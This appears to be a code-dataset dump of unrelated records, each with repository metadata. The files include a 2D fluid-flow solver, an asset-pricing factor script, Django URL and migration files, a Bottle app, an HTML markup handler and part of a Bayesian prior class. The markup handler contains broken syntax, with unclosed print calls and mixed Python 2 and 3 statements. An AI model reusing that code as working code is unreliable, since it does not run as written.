Δt = cfl*np.min([Δx,Δy])/np.max(np.abs([ubc_t,ubc_b,vbc_r,vbc_l])) # timestep size
nsteps = int(tend/Δt) # number of timesteps
Δt = tend/nsteps # timestep size
#-------------------- set solution variables
u = np.zeros((nx+1,ny))
v = np.zeros((nx,ny+1))
P = np.zeros((nx,ny)) # P = P/ρ (P_hat)
def get_Hu():
"""
ue, uw, un, us, vn, vs are values on u-cell faces
These arrays include ALL u-cells (nx+1,ny) for convenience,
but only interior u-cells (and corresponding face values) are set.
"""
ue = np.zeros((nx+1,ny))
uw = np.zeros((nx+1,ny))
un = np.zeros((nx+1,ny))
us = np.zeros((nx+1,ny))
vn = np.zeros((nx+1,ny))
vs = np.zeros((nx+1,ny))
τxxe = np.zeros((nx+1,ny))
τxxw = np.zeros((nx+1,ny))
τxyn = np.zeros((nx+1,ny))
τxys = np.zeros((nx+1,ny))
Hu = np.zeros((nx+1,ny))
i = np.arange(1,nx) # u-cell centers in domain interior
ue[i,:] = (u[i+1,:] + u[i,:])/2
uw[i,:] = (u[i,:] + u[i-1,:])/2
j = np.arange(0,ny-1)
un[IJ(i,j)] = (u[IJ(i,j+1)] + u[IJ(i,j)])/2
un[i,ny-1] = ubc_t
j = np.arange(1,ny)
us[IJ(i,j)] = (u[IJ(i,j)] + u[IJ(i,j-1)])/2
us[i,0] = ubc_b
j = np.arange(0,ny)
vn[IJ(i,j)] = (v[IJ(i-1,j+1)]+v[IJ(i,j+1)])/2
vs[IJ(i,j)] = (v[IJ(i-1,j)] +v[IJ(i,j)]) /2
τxxe[i,:] = -2*ν*(u[i+1,:] - u[i,:]) /Δx
τxxw[i,:] = -2*ν*(u[i,:] - u[i-1,:])/Δx
j = np.arange(0,ny-1)
τxyn[IJ(i,j)] = -ν*(u[IJ(i,j+1)]-u[IJ(i,j)])/Δy - ν*(v[IJ(i,j+1)]-v[IJ(i-1,j+1)])/Δx
τxyn[i,ny-1] = -ν*(ubc_t-u[i,ny-1])/(Δy/2) - ν*(v[i,ny]-v[i-1,ny])/Δx
j = np.arange(1,ny)
τxys[IJ(i,j)] = -ν*(u[IJ(i,j)]-u[IJ(i,j-1)])/Δy - ν*(v[IJ(i,j)]-v[IJ(i-1,j)])/Δx
τxys[i,0] = -ν*(u[i,0]-ubc_b)/(Δy/2) - ν*(v[i,0]-v[i-1,0])/Δx
Hu[i,:] = -((ue[i,:]*ue[i,:] - uw[i,:]*uw[i,:])/Δx + (un[i,:]*vn[i,:] - us[i,:]*vs[i,:])/Δy) \
-((τxxe[i,:] - τxxw[i,:])/Δx + (τxyn[i,:] - τxys[i,:])/Δy)
return Hu
def get_Hv():
"""
vn, vs, ve, vw, ue, uw are values on v-cell faces
These arrays include ALL v-cells (nx,ny+1) for convenience,
but only interior v-cells (and corresponding face values) are set.
"""
vn = np.zeros((nx,ny+1))
vs = np.zeros((nx,ny+1))
ve = np.zeros((nx,ny+1))
vw = np.zeros((nx,ny+1))
ue = np.zeros((nx,ny+1))
uw = np.zeros((nx,ny+1))
τyyn = np.zeros((nx,ny+1))
τyys = np.zeros((nx,ny+1))
τyxe = np.zeros((nx,ny+1))
τyxw = np.zeros((nx,ny+1))
Hv = np.zeros((nx,ny+1))
j = np.arange(1,ny) # v-cell centers in domain interior
vn[:,j] = (v[:,j+1] + v[:,j])/2
vs[:,j] = (v[:,j] + v[:,j-1])/2
i = np.arange(0,nx-1)
ve[IJ(i,j)] = (v[IJ(i+1,j)] + v[IJ(i,j)])/2
ve[nx-1,j] = vbc_r
i = np.arange(1,nx)
vw[IJ(i,j)] = (v[IJ(i,j)] + v[IJ(i-1,j)])/2
vw[0,j] = vbc_l
i = np.arange(0,nx)
ue[IJ(i,j)] = (u[IJ(i+1,j-1)] + u[IJ(i+1,j)])/2
uw[IJ(i,j)] = (u[IJ(i,j-1)] + u[IJ(i,j)]) /2
τyyn[:,j] = -2*ν*(v[:,j+1] - v[:,j]) /Δy
τyys[:,j] = -2*ν*(v[:,j] - v[:,j-1])/Δy
i = np.arange(0,nx-1)
τyxe[IJ(i,j)] = -ν*(v[IJ(i+1,j)]-v[IJ(i,j)])/Δx - ν*(u[IJ(i+1,j)]-u[IJ(i+1,j-1)])/Δy
τyxe[nx-1,j] = -ν*(vbc_r-v[nx-1,j])/(Δx/2) - ν*(u[nx,j]-u[nx,j-1])/Δy
i = np.arange(1,nx)
τyxw[IJ(i,j)] = -ν*(v[IJ(i,j)]-v[IJ(i-1,j)])/Δx - ν*(u[IJ(i,j)]-u[IJ(i,j-1)])/Δy
τyxw[0,j] = -ν*(v[0,j]-vbc_l)/(Δx/2) - ν*(u[0,j]-u[0,j-1])/Δy
Hv[:,j] = -((vn[:,j]*vn[:,j] - vs[:,j]*vs[:,j])/Δy + (ve[:,j]*ue[:,j] - vw[:,j]*uw[:,j])/Δx) \
-((τyyn[:,j] - τyys[:,j])/Δy + (τyxe[:,j] - τyxw[:,j])/Δx)
return Hv
def solve_P(h):
"""
Set up and solve the AP=b system, where A is a matrix, P (=Phat) and b are vectors.
"""
nP = nx*ny # total grid points solved (all P-grid cells)
b = np.zeros((nx,ny)) # set below
cP = np.zeros((nx,ny)) # coefficient of P_i,j; set below
cPjm = np.full((nx,ny),-h*Δx/Δy) # coefficient of P_i,j-1; initialized here, specialized below
cPim = np.full((nx,ny),-h*Δy/Δx) # coefficient of P_i-1,j; initialized here, specialized below
cPip = np.full((nx,ny),-h*Δy/Δx) # coefficient of P_i+1,j; initialized here, specialized below
cPjp = np.full((nx,ny),-h*Δx/Δy) # coefficient of P_i,j+1; initialized here, specialized below
#--------------------
# Interior
i = np.arange(1,nx-1); j = np.arange(1,ny-1)
b[IJ(i,j)] = -Δy*(u[IJ(i+1,j)]+h*Hu[IJ(i+1,j)]) + Δy*(u[IJ(i,j)]+h*Hu[IJ(i,j)]) - Δx*(v[IJ(i,j+1)]+h*Hv[IJ(i,j+1)]) + Δx*(v[IJ(i,j)]+h*Hv[IJ(i,j)])
cP[IJ(i,j)] = 2*h*Δy/Δx + 2*h*Δx/Δy
# Corner bottom left
i = 0; j = 0
b[i,j] = -Δy*(u[i+1,j]+h*Hu[i+1,j]) + Δy*u[i,j] - Δx*(v[i,j+1]+h*Hv[i,j+1]) + Δx*v[i,j]
cP[i,j] = h*Δy/Δx + h*Δx/Δy
cPjm[i,j] = 0.0
cPim[i,j] = 0.0
# Side bottom
i = np.arange(1,nx-1); j = 0
b[i,j] = -Δy*(u[i+1,j]+h*Hu[i+1,j]) + Δy*(u[i,j]+h*Hu[i,j]) - Δx*(v[i,j+1]+h*Hv[i,j+1]) + Δx*v[i,j]
cP[i,j] = 2*h*Δy/Δx + h*Δx/Δy
cPjm[i,j] = 0.0
# Corner bottom right
i = nx-1; j = 0
b[i,j] = -Δy*u[i+1,j] + Δy*(u[i,j]+h*Hu[i,j]) - Δx*(v[i,j+1]+h*Hv[i,j+1]) + Δx*v[i,j]
cP[i,j] = h*Δy/Δx + h*Δx/Δy
cPjm[i,j] = 0.0
cPip[i,j] = 0.0
# Side left
i = 0; j = np.arange(1,ny-1)
b[i,j] = -Δy*(u[i+1,j]+h*Hu[i+1,j]) + Δy*u[i,j] - Δx*(v[i,j+1]+h*Hv[i,j+1]) + Δx*(v[i,j]+h*Hv[i,j])
cP[i,j] = h*Δy/Δx + 2*h*Δx/Δy
cPim[i,j] = 0.0
# Side right
i = nx-1; j = np.arange(1,ny-1)
b[i,j] = -Δy*u[i+1,j] + Δy*(u[i,j]+h*Hu[i,j]) - Δx*(v[i,j+1]+h*Hv[i,j+1]) + Δx*(v[i,j]+h*Hv[i,j])
cP[i,j] = h*Δy/Δx + 2*h*Δx/Δy
cPip[i,j] = 0.0
# Corner top left
i = 0; j = ny-1
b[i,j] = -Δy*(u[i+1,j]+h*Hu[i+1,j]) + Δy*u[i,j] - Δx*v[i,j+1] + Δx*(v[i,j]+h*Hv[i,j])
cP[i,j] = h*Δy/Δx + h*Δx/Δy
cPim[i,j] = 0.0
cPjp[i,j] = 0.0
# Side top
i = np.arange(1,nx-1); j = ny-1
b[i,j] = -Δy*(u[i+1,j]+h*Hu[i+1,j]) + Δy*(u[i,j]+h*Hu[i,j]) - Δx*v[i,j+1] + Δx*(v[i,j]+h*Hv[i,j])
cP[i,j] = 2*h*Δy/Δx + h*Δx/Δy
cPjp[i,j] = 0.0
# Corner top right
i = nx-1; j = ny-1
b[i,j] = -Δy*u[i+1,j] + Δy*(u[i,j]+h*Hu[i,j]) - Δx*v[i,j+1] + Δx*(v[i,j]+h*Hv[i,j])
cP[i,j] = h*Δy/Δx + h*Δx/Δy
cPip[i,j] = 0.0
cPjp[i,j] = 0.0
#---------------------------------
b = np.reshape(b, nP, order='F')
cP = np.reshape(cP, nP, order='F')
cPjm = np.reshape(cPjm, nP, order='F')
cPim = np.reshape(cPim, nP, order='F')
cPip = np.reshape(cPip, nP, order='F')
cPjp = np.reshape(cPjp, nP, order='F')
A = diags([cPjm[nx:], cPim[1:], cP, cPip[:-1], cPjp[:-nx]], [-nx, -1, 0, 1, nx], format='csr')
#---------------------------------
P = spsolve(A,b)
P -= np.average(P)
P = np.reshape(P, (nx,ny),order='F')
return P
set_user_specifications()
set_grid_time_vars()
ke = np.zeros(nsteps+1)
times = np.linspace(0,tend,nsteps+1)
for k in range(nsteps):
Hu = get_Hu()
Hv = get_Hv()
P = solve_P(Δt)
i = np.arange(1,nx)
u[i,:] = u[i,:] + Δt*Hu[i,:] - Δt*(P[i,:]-P[i-1,:])/Δx
j = np.arange(1,ny)
v[:,j] = v[:,j] + Δt*Hv[:,j] - Δt*(P[:,j]-P[:,j-1])/Δy
#-----------------------------
U = (u[:-1,:] + u[1:,:])/2
V = (v[:,:-1] + v[:,1:])/2
velmag = np.sqrt(U*U + V*V)
ke[k+1] = 0.5*(np.average(velmag**2))
#----------- interpolate velocities to the P-grid
U = (u[:-1,:] + u[1:,:])/2 # u-velocity on the P-grid
V = (v[:,:-1] + v[:,1:])/2 # v-velocity on the P-grid
velmag = np.sqrt(U*U + V*V) # velocity magnitude.
X,Y = np.meshgrid(x,y)
plt.rc('font', size=14)
fig, (ax1, ax2) = plt.subplots(1,2, figsize=(10,10))
ax1.set_aspect('equal', adjustable='box')
ax1.streamplot(x,y,U.T,V.T, density=2.5, linewidth=1, arrowsize=0.001, color=velmag.T)
ax1.set_title(r'$|\vec{v}|$')
ax1.set_xlim([0,Lx])
ax1.set_ylim([0,Ly])
ax1.set_xticks([])
ax1.set_yticks([]);
ax2.set_aspect('equal', adjustable='box')
ax2.contourf(X,Y,P.T,40)
ax2.set_title(r'$P/\rho$')
ax2.set_xlim([0,Lx])
ax2.set_ylim([0,Ly])
ax2.set_xticks([])
ax2.set_yticks([]);
plt.figure(figsize=(3.5,3))
plt.plot(times,ke)
plt.xlabel('time')
plt.ylabel('KE');
plt.show()
| [
"[email protected]"
] | |
5d78ddfa44406d1b5fea5e775662f57a46d90688 | 7b3b859dd633eb2240d987b37e487ea8388e2f8d | /empirical/Chen2010/Chen2010.py | 0fe08644c1f533bdae0bdb3a81b33691ee231b19 | [] | no_license | yszhuang/assetPricing2 | 96956638f6c26e4e7d33e0abffe5c5c14460000a | 10af01a66bcd13cb516920e9cb1b46d8cfa6b598 | refs/heads/master | 2022-01-13T02:00:09.070100 | 2018-09-01T02:28:21 | 2018-09-01T02:28:21 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 10,023 | py | # -*-coding: utf-8 -*-
# Python 3.6
# Author:Zhang Haitao
# Email:[email protected]
# TIME:2018-05-09 16:23
# NAME:assetPricing2-Chen2010.py
from core.constructFactor import single_sorting_factor
from core.myff5 import regression_details_5x5, ts_panel, model_performance
from data.dataApi import Database, Benchmark
from data.dataTools import read_unfiltered
from data.din import parse_financial_report, quaterly2monthly
from tool import assign_port_id, my_average, multi_processing, newey_west
from zht.data.gta.api import read_gta
import os
import pandas as pd
import matplotlib.pyplot as plt
from multiprocessing.pool import Pool
import numpy as np
BENCH=Benchmark()
direc= r'D:\zht\database\quantDb\researchTopics\assetPricing2\data\FI'
dirData= r'D:\zht\database\quantDb\researchTopics\assetPricing2\data\FI\data'
figPath= r'D:\zht\database\quantDb\researchTopics\assetPricing2\data\FI\fig'
factorPath= r'D:\zht\database\quantDb\researchTopics\assetPricing2\data\FI\factor'
dirFactor_database=r'D:\zht\database\quantDb\researchTopics\assetPricing2\data\FI\factor_database'
dirFig_database=r'D:\zht\database\quantDb\researchTopics\assetPricing2\data\FI\fig_database'
dirChen=r'D:\zht\database\quantDb\researchTopics\assetPricing2\data\FI\Chen2010'
dirPanels=r'D:\zht\database\quantDb\researchTopics\assetPricing2\data\FI\bivariate_panels'
def _save(df,name):
df.to_pickle(os.path.join(dirData, name + '.pkl'))
def _read(name):
return pd.read_pickle(os.path.join(dirData, name + '.pkl'))
#parse all the financial indicators
def _filter_indicators(lst):
newlst=[]
mark=[]
for ele in lst:
if ele[-1].isdigit():
newlst.append(ele)
else:
if ele[:-1] not in mark:
newlst.append(ele)
mark.append(ele[:-1])
return newlst
def parse_all_financial_indicators():
tbnames=['FI_T{}'.format(i) for i in range(1,12)]
for tbname in tbnames:
df=read_gta(tbname)
varnames=[col for col in df.columns if col not in
['Accper','Indcd','Stkcd','Typrep']]
if 'Typrep' in df.columns:
consolidated=True
else:
consolidated=False
varnames=_filter_indicators(varnames)
for varname in varnames:
df=parse_financial_report(tbname,varname,consolidated=consolidated)
df=quaterly2monthly(df)
_save(df,'{}__{}'.format(tbname,varname))
print(tbname,varname)
def indicator2factor(indicator):
sampleControl=False
q=5
# data lagged
df = _read(indicator)
s = df.stack()
s.name = indicator
weight = Database(sample_control=sampleControl).by_indicators(['weight'])
datalagged = pd.concat([s, weight], axis=1)
datalagged = datalagged.groupby('sid').shift(1)
# data t
datat = Database(sample_control=sampleControl).by_indicators(['stockEretM'])
comb = pd.concat([datalagged, datat], axis=1)
comb = comb.dropna()
comb['g'] = comb.groupby('t', group_keys=False).apply(
lambda df: assign_port_id(df[indicator], q))
panel = comb.groupby(['t', 'g']).apply(
lambda df: my_average(df, 'stockEretM', wname='weight')) \
.unstack(level=['g'])
factor = panel[q] - panel[1]
factor.name=indicator
factor.to_pickle(os.path.join(factorPath, '{}.pkl'.format(indicator)))
def _task(indicator):
try:
indicator2factor(indicator)
except:
with open(os.path.join(direc, 'failed.txt'), 'a') as f:
f.write(indicator+'\n')
print(indicator)
def multi_indicator2factor():
indicators=[ind[:-4] for ind in os.listdir(dirData)]
p=Pool(6)
p.map(_task,indicators)
def analyse_corr():
'''
analyse the correlation between different factors constructed by soritng
financial indicators.Since there may be some indicators share the same value.
Returns:
'''
fns=os.listdir(factorPath)
ss=[pd.read_pickle(os.path.join(factorPath, fn)) for fn in fns]
comb=pd.concat(ss,axis=1)
corr=comb.corr()
cc=corr.corr()
tri=corr.mask(np.triu(np.ones(corr.shape),k=0).astype(bool))
tri=tri.stack().sort_values(ascending=False)
tri=tri.reset_index()
thresh=0.9
def plot_all(factorPath,figPath):
fns = os.listdir(factorPath)
ss = [pd.read_pickle(os.path.join(factorPath, fn)) for fn in fns]
comb = pd.concat(ss, axis=1)
tup=[]
for col,s in comb.items():
sharpe_abs=abs(s.mean()/s.std())
tup.append((col,sharpe_abs))
tup=sorted(tup,key=lambda x:x[1],reverse=True)
for i,ele in enumerate(tup):
indicator=ele[0]
s=comb[indicator]
s=s.dropna()
fig=plt.figure()
plt.plot(s.index,s.cumsum())
fig.savefig(os.path.join(figPath, indicator + '.png'))
print(i)
sp=pd.DataFrame(tup,columns=['indicator','sharpe'])
return sp
def select_a_model():
sharpe=pd.read_pickle(os.path.join(direc, 'sharpe.pkl'))
indicator=sharpe['indicator'][0]
factor=pd.read_pickle(os.path.join(factorPath, indicator + '.pkl'))
ff3=read_unfiltered('ff3M')
model=pd.concat([ff3[['rp','smb']],factor],axis=1)
model=model.dropna()
return model
def compare_model_with_ff3():
ff3=BENCH.by_benchmark('ff3M')
model=select_a_model()
tableas=[]
tablets=[]
for bench in [ff3,model]:
tablea,tablet=regression_details_5x5(bench)
tableas.append(tablea)
tablets.append(tablet)
comba=pd.concat(tableas,axis=0,keys=['ff3','myModel'])
combt=pd.concat(tablets,axis=0,keys=['ff3','myModel'])
comba.to_csv(os.path.join(direc,'comba.csv'))
combt.to_csv(os.path.join(direc,'combt.csv'))
# find anomalies
def get_all_factor_from_database():
info=Database().info
indicators=[ele for l in info.values() for ele in l]
for indicator in indicators:
factor=single_sorting_factor(indicator,q=10)
factor.name=indicator
factor.to_pickle(os.path.join(dirFactor_database,indicator+'.pkl'))
print(indicator)
# get_all_factor_from_database()
indicators=['idio__idioVol_ff3_1M__D',
'liquidity__amihud',
'liquidity__turnover1',
'momentum__R3M',
'reversal__reversal',
'skewness__skew_24M__D',
'idio__idioVol_capm_1M__D',
'inv__inv',
'value__bm',
'beta__D_1M',
'op__op',
'roe__roe'
]
# table III of Chen, L., and Zhang, L. (2010). A better three-factor model that explains more anomalies. Journal of Finance 65, 563–595.
def _riskAdjust(s,bench=None):
s.name = 'y'
s=s.to_frame()
if bench is not None:
df=pd.concat([s,bench],axis=1)
formula='y ~ {}'.format(' + '.join(bench.columns.tolist()))
nw=newey_west(formula,df)
return nw['Intercept']['t']
else:
formula='y ~ 1'
nw = newey_west(formula, s)
return nw['Intercept']['t']
def compare_different_models():
# hxz is best
ts=[]
for factor in indicators:
s=pd.read_pickle(os.path.join(dirFactor_database,factor+'.pkl'))
mymodel=select_a_model()
bs=list(Benchmark().info.keys())
names=['pure','my']+bs
benchs=[None,mymodel]+[Benchmark().by_benchmark(r) for r in bs]
t=pd.Series([_riskAdjust(s,bench) for bench in benchs],index=names)
ts.append(t)
print(factor)
df=pd.concat(ts, axis=1, keys=indicators)
df.to_csv(os.path.join(dirChen,'intercept_tvalue.csv'))
dic={}
for col,s in df.items():
m=s.abs().idxmin()
if m in dic:
dic[m]+=1
else:
dic[m]=1
def get_bivariate_panel(v1, v2='size__size'):
sampleControl = False
q = 5
ss=[]
for v in [v1,v2]:
if v in Database(sample_control=sampleControl).all_indicators:
s=Database(sample_control=sampleControl).by_indicators([v])
else:
s=_read(v).stack()
s.name=v
ss.append(s)
# data lagged
weight = Database(sample_control=sampleControl).by_indicators(['weight'])
datalagged = pd.concat(ss+[weight], axis=1)
datalagged = datalagged.groupby('sid').shift(1)
# data t
datat = Database(sample_control=sampleControl).by_indicators(['stockEretM'])
comb = pd.concat([datalagged, datat], axis=1)
comb = comb.dropna()
comb['g1'] = comb.groupby('t', group_keys=False).apply(
lambda df: assign_port_id(df[v1], q))
comb['g2'] = comb.groupby('t', group_keys=False).apply(
lambda df: assign_port_id(df[v2], q))
panel = comb.groupby(['t', 'g1', 'g2']).apply(
lambda df: my_average(df, 'stockEretM', wname='weight'))\
.unstack(level=['g1','g2'])
print(v1)
return panel
def _get_panel(indicator):
panel=get_bivariate_panel(indicator)
panel.to_pickle(os.path.join(dirPanels,'{}.pkl'.format(indicator)))
def multi_get_panel():
multi_processing(_get_panel,indicators,pool_size=5)
def compare_models_based_on_bivariate_assets():
resultLst=[]
psLst=[]
for indicator in indicators:
assets=pd.read_pickle(os.path.join(dirPanels,'{}.pkl'.format(indicator)))
mymodel = select_a_model()
bs = list(Benchmark().info.keys())
benchNames = ['pure', 'my'] + bs
benchs = [None, mymodel] + [Benchmark().by_benchmark(r) for r in bs]
rs=[]
ps=[]
for bench in benchs:
r=ts_panel(assets,bench)
rs.append(r)
if bench is not None:
p=model_performance(assets.copy(),bench)
ps.append(p)
resultLst.append(pd.concat(rs,axis=0,keys=benchNames))
psLst.append(pd.concat(ps,axis=1,keys=benchNames[1:]).T)
print(indicator)
pd.concat(resultLst,axis=0,keys=indicators).to_csv(r'e:\a\result.csv')
pd.concat(psLst,axis=0,keys=indicators).to_csv(r'e:\a\performance.csv')
# if __name__ == '__main__':
# multi_get_panel()
| [
"[email protected]"
] | |
87ffa029204a02b6b24eb241d0b349c255608b57 | ccfc8b4b6b7a48e387c3ecd56ca110eb9f174367 | /python/work/5.0-stable/project/videoclient/api/persons/photos/urls.py | 75d2aa555f21b805075d975db736c3fe7ef27c5c | [] | no_license | denis-pinaev/tmp_trash | c4d6c4a4cefaacc8af5e93d1175f0a56e3d8e656 | 7642c0ef0cc45b978e579023406abfbbb656896d | refs/heads/master | 2016-08-11T12:03:43.376455 | 2016-03-04T12:53:35 | 2016-03-04T12:53:35 | 52,145,331 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 222 | py | from django.conf.urls.defaults import patterns, include, url
import views
urlpatterns = patterns('',
url(r'^list/*$', views.list, {}, 'api_list_photos'),
url(r'^left/*$', views.left, {}, 'api_left_photos'),
) | [
"[email protected]"
] | |
42ea6542998ab172e883faf783222a5f90e1c0ad | ebcb092d796366d36a1afe9c381cd9e4c31026f1 | /python_markup/handlers.py | b4d1acfc276ad3b816d1d590b2c12416311792c6 | [
"MIT"
] | permissive | MiracleWong/PythonBasic | d2e0e56c88781ebf9c6870f185ceaba6ffaa21ca | cb8ec59dc646842b41966ea4ea4b1ee66a342eee | refs/heads/master | 2021-06-06T22:26:08.780210 | 2020-01-08T14:48:54 | 2020-01-08T14:48:54 | 96,536,299 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,976 | py | #!/usr/local/bin/python
# -*- coding: utf-8 -*-
# filename: handlers.py
# 为文本块打上合适的 HTML 标记
class Handler:
"""
处理程序父类
"""
def callback(self, prefix, name, *args):
method = getattr(self, prefix + name, None)
if callable(method): return method(*args)
def start(self, name):
self.callback('start_', name)
def end(self, name):
self.callback('end_', name)
def sub(self, name):
def substitution(match):
result = self.callback('sub_', name, match)
if result is None: result = match.group(0)
return result
return substitution
class HTMLRenderer(Handler):
"""
HTML 处理程序,给文本块加相应的 HTML 标记
"""
def start_document(self):
print('<html><head><title>ShiYanLou</title></head><body>')
def end_document(self):
print('</body></html>'
def start_paragraph(self):
print('<p style="color: #444;">'
def end_paragraph(self):
print('</p>'
def start_heading(self):
print('<h2 style="color: #68BE5D;">'
def end_heading(self):
print('</h2>'
def start_list(self):
print('<ul style="color: #363736;">'
def end_list(self):
print('</ul>'
def start_listitem(self):
print '<li>'
def end_listitem(self):
print('</li>')
def start_title(self):
print('<h1 style="color: #1ABC9C;">')
def end_title(self):
print('</h1>')
def sub_emphasis(self, match):
return '<em>%s</em>' % match.group(1)
def sub_url(self, match):
return '<a target="_blank" style="text-decoration: none;color: #BC1A4B;" href="%s">%s</a>' % (match.group(1), match.group(1))
def sub_mail(self, match):
return '<a style="text-decoration: none;color: #BC1A4B;" href="mailto:%s">%s</a>' % (match.group(1), match.group(1))
def feed(self, data):
print(data) | [
"[email protected]"
] | |
6344174edb82b52826ffe9156911e57162cf52b4 | c251223c9829a51fac8ae4d651dba0068da68f43 | /language_converter/main.py | 9d08979ae219e1e14aa3fa15aab2a9150fa319d7 | [] | no_license | Ajax12345/Web-Apps | b1c10e73f2c403cc900a0eddccb1d95b5f71e8aa | 105dfef93aa975cb95fa0216095939d33c2eb19a | refs/heads/master | 2021-01-23T17:34:05.962959 | 2017-09-18T23:44:37 | 2017-09-18T23:44:37 | 102,767,536 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 426 | py | from bottle import Bottle, template, request
app = Bottle()
users = [{"ajax1234":"zorro"}]
username = None
password = None
@app.route('/')
def index():
data = {"to_display":"HI, how are you"}
return template("simple.html", to_display = "HI, how are you?")
@app.route('/run_code', method = "POST")
def get_code():
full_code = request.forms.get('code')
print full_code
if __name__ == '__main__':
app.run()
| [
"[email protected]"
] | |
11372e1174c14bf0f2fcd7bcb02fba3c76370519 | 8ce87aa7b8230a3fd474501c35e23c564f2780d0 | /organizacion/migrations/0003_auto_20150725_0630.py | f233fa0171a7b7febfa5efddf0ad37f6e59aded2 | [] | no_license | ErickMurillo/canicacao | 46e7a485257ab95902fb427d4cb0b5e72fd14ab5 | d4a79260c87d1ae1cdd8ecb8bc4be82e9ddb0cc7 | refs/heads/master | 2020-12-29T02:24:36.519281 | 2018-03-16T15:38:26 | 2018-03-16T15:38:26 | 35,285,596 | 0 | 2 | null | null | null | null | UTF-8 | Python | false | false | 781 | py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('organizacion', '0002_auto_20150723_2221'),
]
operations = [
migrations.AddField(
model_name='comercializacion_org',
name='fecha',
field=models.IntegerField(default=1, verbose_name=b'A\xc3\xb1o de recolecci\xc3\xb3n de informaci\xc3\xb3n'),
preserve_default=False,
),
migrations.AlterField(
model_name='organizacion',
name='gerente',
field=models.CharField(max_length=200, null=True, verbose_name=b'Representante legal', blank=True),
preserve_default=True,
),
]
| [
"[email protected]"
] | |
c54780fdaada792761b06a65b636b22338aef471 | b18d63d01c4442d746d5b4bd626d439ec75d273c | /arithmetic_operators.py | f9fb8cefa4a957d8b0d1d4b487712c27165c5115 | [] | no_license | crishonsou/hackerrank_solutions_submissions | 2f080f15eb0557ec633be265f065b991c2b5c456 | ccd5525cf6e96c119df13945ff28d3473a8c8c1c | refs/heads/main | 2022-12-26T03:07:24.759426 | 2020-10-06T15:13:17 | 2020-10-06T15:13:17 | 301,766,798 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 67 | py | a = int(input())
b = int(input())
print(a // b)
print(a / b)
| [
"[email protected]"
] | |
b8a5ebd8681495fd6c38f0e14d85a0f3171860dd | dd80a584130ef1a0333429ba76c1cee0eb40df73 | /external/chromium_org/printing/DEPS | bc43b418c77aafd04e87cead8cd587db70d587dc | [
"MIT",
"BSD-3-Clause"
] | permissive | karunmatharu/Android-4.4-Pay-by-Data | 466f4e169ede13c5835424c78e8c30ce58f885c1 | fcb778e92d4aad525ef7a995660580f948d40bc9 | refs/heads/master | 2021-03-24T13:33:01.721868 | 2017-02-18T17:48:49 | 2017-02-18T17:48:49 | 81,847,777 | 0 | 2 | MIT | 2020-03-09T00:02:12 | 2017-02-13T16:47:00 | null | UTF-8 | Python | false | false | 262 | include_rules = [
"+jni",
"+skia/ext",
"+third_party/icu/source/common/unicode",
"+third_party/icu/source/i18n/unicode",
"+third_party/skia",
"+ui/aura",
"+ui/base/resource",
"+ui/base/text",
"+ui/gfx",
"+ui/shell_dialogs",
"+win8/util",
]
| [
"[email protected]"
] | ||
0d8a223b3f1590a1b1e4491f34cf5321e061913b | 07eb17b45ce5414282a2464c69f50197968c312d | /stusched/app/urls.py | ffdfa5ca2f2ce34e32c9ac872ee1c74578091181 | [] | no_license | cmontemuino/dbschools | e15d4d03a3d2f0e1ee1fa47b8ce9748b7f09cdbc | d3ee1fdc5c36274e5d5f7834ca1110b941d097b9 | refs/heads/master | 2021-01-16T21:16:56.427183 | 2015-08-02T17:09:43 | 2015-08-02T17:09:43 | 6,158,940 | 0 | 0 | null | 2015-10-15T12:45:34 | 2012-10-10T14:49:16 | HTML | UTF-8 | Python | false | false | 783 | py | """stusched URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.8/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')
Including another URLconf
1. Add an import: from blog import urls as blog_urls
2. Add a URL to urlpatterns: url(r'^blog/', include(blog_urls))
"""
from django.conf.urls import url
from . import views
urlpatterns = [
url(r'^$', views.index, name='index'),
url(r'^status$', views.status, name='status'),
]
| [
"[email protected]"
] | |
aaf20c2fe8ce1671ee96f32aad3cbdfa2ec5fc4a | 5f5c6809e9e68127262c843602185f3d6d6d556b | /thejoker/prior.py | ce3c89878d8784fd7d3f2c94b9ce086aeb86412f | [
"MIT"
] | permissive | minaskar/thejoker | e195bd361d4eadf051fb29380d110d214ea65a1b | b7ba1d094ce3d4d61c1db80da37981327f280d34 | refs/heads/master | 2023-03-16T02:55:04.644778 | 2020-06-15T19:39:29 | 2020-06-15T19:39:29 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 22,046 | py | # Third-party
import astropy.units as u
import numpy as np
from theano.gof import MissingInputError
# Project
from .logging import logger
from .samples import JokerSamples
from .prior_helpers import (get_nonlinear_equiv_units,
get_linear_equiv_units,
validate_poly_trend,
get_v0_offsets_equiv_units,
validate_sigma_v)
from .utils import random_state_context
__all__ = ['JokerPrior']
def _validate_model(model):
import pymc3 as pm
# validate input model
if model is None:
try:
# check to see if we are in a context
model = pm.modelcontext(None)
except TypeError: # we are not!
# if no model is specified, create one and hold onto it
model = pm.Model()
if not isinstance(model, pm.Model):
raise TypeError("Input model must be a pymc3.Model instance, not "
"a {}".format(type(model)))
return model
class JokerPrior:
def __init__(self, pars=None, poly_trend=1, v0_offsets=None, model=None):
"""
This class controls the prior probability distributions for the
parameters used in The Joker.
This initializer is meant to be flexible, allowing you to specify the
prior distributions on the linear and nonlinear parameters used in The
Joker. However, for many use cases, you may want to just use the
default prior: To initialize this object using the default prior, see
the alternate initializer `JokerPrior.default()`.
Parameters
----------
pars : dict, list (optional)
Either a list of pymc3 variables, or a dictionary of variables with
keys set to the variable names. If any of these variables are
defined as deterministic transforms from other variables, see the
next parameter below.
poly_trend : int (optional)
Specifies the number of coefficients in an additional polynomial
velocity trend, meant to capture long-term trends in the data. The
default here is ``polytrend=1``, meaning one term: the (constant)
systemtic velocity. For example, ``poly_trend=3`` will sample over
parameters of a long-term quadratic velocity trend.
v0_offsets : list (optional)
A list of additional Gaussian parameters that set systematic offsets
of subsets of the data. TODO: link to tutorial here
model : `pymc3.Model`
This is either required, or this function must be called within a
pymc3 model context.
"""
